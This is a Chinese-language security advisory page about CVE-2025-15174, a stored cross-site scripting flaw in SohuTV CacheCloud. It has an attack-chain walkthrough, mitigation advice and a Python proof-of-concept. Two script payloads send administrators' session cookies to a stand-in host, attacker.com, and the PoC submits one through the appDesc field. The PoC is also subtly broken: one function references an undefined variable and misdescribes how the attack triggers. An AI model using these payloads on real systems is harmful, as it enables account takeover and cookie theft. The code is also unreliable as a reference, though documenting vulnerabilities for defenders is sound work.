IPBUF安全漏洞报告
English
CVE-2025-15174 CVSS 3.5 低危

CVE-2025-15174 SohuTV CacheCloud doAppAuditList函数跨站脚本漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2025-15174
漏洞类型
XSS(跨站脚本攻击)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
SohuTV CacheCloud

相关标签

CVE-2025-15174XSS跨站脚本攻击存储型XSSSohuTV CacheCloudCacheClouddoAppAuditList低危漏洞会话劫持Web应用安全

漏洞概述

CVE-2025-15174是搜狐TV缓存云平台CacheCloud中存在的一个存储型跨站脚本(Stored XSS)安全漏洞。该漏洞影响CacheCloud 3.2.0及之前所有版本。漏洞位于Web控制器的AppManageController.java文件中的doAppAuditList函数,由于该函数在处理用户输入时未对特殊字符进行充分的HTML转义或输入验证,导致攻击者可以在应用程序中注入恶意JavaScript代码。当其他用户访问包含恶意脚本的页面时,这些脚本将在其浏览器上下文中执行,从而窃取会话Cookie、劫持用户账户或进行其他恶意操作。由于该漏洞需要低权限用户身份且需要用户交互才能触发,CVSS评分仅为3.5(低危)。该漏洞的利用代码已公开披露,且项目方在收到问题报告后尚未做出响应,建议用户尽快采取防护措施。

技术细节

该漏洞属于典型的存储型XSS(Stored XSS)漏洞,攻击流程如下:

1. 漏洞位置:src/main/java/com/sohu/cache/web/controller/AppManageController.java中的doAppAuditList函数

2. 漏洞成因:该函数在处理应用程序审核列表请求时,直接将用户提交的输入参数(如应用程序名称、描述等)未经充分过滤或转义即存储到数据库中,并在后续页面展示时直接回显到HTML响应中

3. 利用方式:攻击者以低权限用户身份登录系统,在提交应用程序审核申请时,在相关输入字段中嵌入恶意JavaScript代码,例如:
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

4. 触发条件:当管理员或具有审核权限的用户访问审核列表页面时,恶意脚本会被浏览器解析执行

5. 影响范围:可获取用户会话信息、劫持用户操作、进行钓鱼攻击等。由于攻击者可以获取管理员凭据,还可能进一步获取系统更高权限

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标系统使用SohuTV CacheCloud版本,通过端口扫描和指纹识别确认版本号<=3.2.0
STEP 2
步骤2:账户获取
攻击者注册低权限账户或利用已有低权限账户登录系统,获得基本访问权限
STEP 3
步骤3:XSS载荷注入
在提交应用程序审核申请时,将恶意JavaScript代码注入appDesc等输入字段,由于doAppAuditList函数未进行输入过滤,载荷被存储到数据库
STEP 4
步骤4:等待管理员访问
当具有审核权限的管理员或高权限用户访问/app/audit/list页面查看审核列表时,恶意脚本被从数据库取出并嵌入到HTML响应中
STEP 5
步骤5:会话劫持
管理员浏览器解析HTML时执行恶意JavaScript,将当前会话Cookie发送到攻击者控制的服务器
STEP 6
步骤6:账户接管
攻击者利用窃取的Cookie伪装成管理员身份登录系统,进一步获取更高权限或敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-15174 PoC - SohuTV CacheCloud XSS in doAppAuditList # Target: SohuTV CacheCloud <= 3.2.0 TARGET_URL = "http://target-server:8080" USERNAME = "attacker_user" PASSWORD = "password123" def login(): """Authenticate and obtain session cookie""" session = requests.Session() login_url = f"{TARGET_URL}/login" data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=data) return session if response.status_code == 200 else None def inject_xss_payload(session): """Inject XSS payload via app audit submission""" # Malicious XSS payload xss_payload = "<script>fetch('https://attacker.com/log?c='+document.cookie)</script>" # Submit app audit with XSS payload audit_url = f"{TARGET_URL}/app/audit/submit" data = { "appName": "TestApp", "appDesc": xss_payload, "auditType": "create" } response = session.post(audit_url, data=data) return response.status_code == 200 def trigger_xss(session): """Trigger XSS by accessing audit list as admin""" # Admin views the audit list, triggering the XSS list_url = f"{TARGET_URL}/app/audit/list" response = session.get(list_url) return xss_payload in response.text def main(): session = login() if session and inject_xss_payload(session): print("[+] XSS payload injected successfully") print("[+] Payload will execute when admin views audit list") else: print("[-] Failed to inject payload") if __name__ == "__main__": main()

影响范围

SohuTV CacheCloud <= 3.2.0

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 在Web应用防火墙(WAF)层面配置XSS防护规则,对包含<script>等危险标签的请求进行拦截;2) 在Nginx等反向代理中配置输入过滤规则,过滤特殊字符;3) 临时禁用低权限用户的应用程序审核功能,仅允许管理员提交审核;4) 加强对管理员账户的安全管理,使用强密码和双因素认证;5) 监控应用程序日志,及时发现异常请求和攻击行为;6) 对所有用户输入实施严格的格式验证,限制输入长度和允许的字符类型。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表